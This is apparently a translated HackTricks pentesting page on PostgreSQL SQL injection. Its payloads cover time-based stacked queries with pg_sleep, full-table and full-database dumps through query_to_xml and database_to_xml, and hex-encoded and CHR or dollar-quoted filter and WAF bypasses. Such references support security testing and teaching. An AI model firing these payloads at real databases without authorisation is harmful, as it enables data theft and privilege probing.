hacktricks/pentesting-web/sql-injection/postgresql-injection
2024-09-19 16:41:28 +00:00
..
big-binary-files-upload-postgresql.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:20:13 +00:00
dblink-lo_import-data-exfiltration.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:20:13 +00:00
network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:20:13 +00:00
pl-pgsql-password-bruteforce.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:36:53 +00:00
rce-with-postgresql-extensions.md Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:58:21 +00:00
rce-with-postgresql-languages.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:36:53 +00:00
README.md Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat 2024-09-19 16:41:28 +00:00

PostgreSQL injection

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

If you are interested in кар'єрі в хакерстві and hack the unhackable - ми наймаємо! (вимагається вільне володіння польською мовою в письмовій та усній формі).

{% embed url="https://www.stmcyber.com/careers" %}


Ця сторінка має на меті пояснити різні трюки, які можуть допомогти вам експлуатувати SQL-ін'єкцію, знайдену в базі даних postgresql, і доповнити трюки, які ви можете знайти на https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md

Network Interaction - Підвищення привілеїв, Портовий сканер, Розкриття NTLM challenge response & Екстракція

Модуль PostgreSQL dblink пропонує можливості для підключення до інших екземплярів PostgreSQL та виконання TCP-з'єднань. Ці функції, в поєднанні з функціональністю COPY FROM, дозволяють виконувати дії, такі як підвищення привілеїв, сканування портів та захоплення NTLM challenge response. Для детальних методів виконання цих атак перевірте, як виконати ці атаки.

Ви можете прочитати цей приклад, щоб побачити приклад CTF як завантажити дані всередину великих об'єктів, а потім екстрагувати вміст великих об'єктів всередині імені користувача функції dblink_connect.

PostgreSQL Атаки: Читання/запис, RCE, підвищення привілеїв

Перевірте, як скомпрометувати хост і підвищити привілеї з PostgreSQL у:

{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}

WAF обхід

Функції рядків PostgreSQL

Маніпулювання рядками може допомогти вам обійти WAF або інші обмеження.
На цій сторінці ви можете знайти кілька корисних функцій рядків.

Складені запити

Пам'ятайте, що postgresql підтримує складені запити, але кілька додатків видадуть помилку, якщо буде повернено 2 відповіді, коли очікується лише 1. Але ви все ще можете зловживати складеними запитами через Time injection:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

XML трюки

query_to_xml

Ця функція поверне всі дані у форматі XML в одному файлі. Це ідеально, якщо ви хочете вивантажити багато даних в один рядок:

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

Ця функція вивантажить всю базу даних у форматі XML в лише 1 рядок (обережно, якщо база даних дуже велика, оскільки ви можете викликати DoS або навіть вашого власного клієнта):

SELECT database_to_xml(true,true,'');

Strings in Hex

Якщо ви можете виконувати запити, передаючи їх всередині рядка (наприклад, використовуючи функцію query_to_xml). Ви можете використовувати convert_from, щоб передати рядок у вигляді шістнадцяткового коду і таким чином обійти фільтри:

{% code overflow="wrap" %}

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

{% endcode %}

Заборонені лапки

Якщо ви не можете використовувати лапки для вашого payload, ви можете обійти це за допомогою CHR для базових клауз (конкатенація символів працює лише для базових запитів, таких як SELECT, INSERT, DELETE тощо. Це не працює для всіх SQL операторів):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Або з $. Ці запити повертають однакові результати:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

Якщо вас цікавить кар'єра в хакерстві і ви хочете зламати незламне - ми наймаємо! (вимагається вільне володіння польською мовою в письмовій та усній формі).

{% embed url="https://www.stmcyber.com/careers" %}

{% hint style="success" %} Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримати HackTricks
{% endhint %}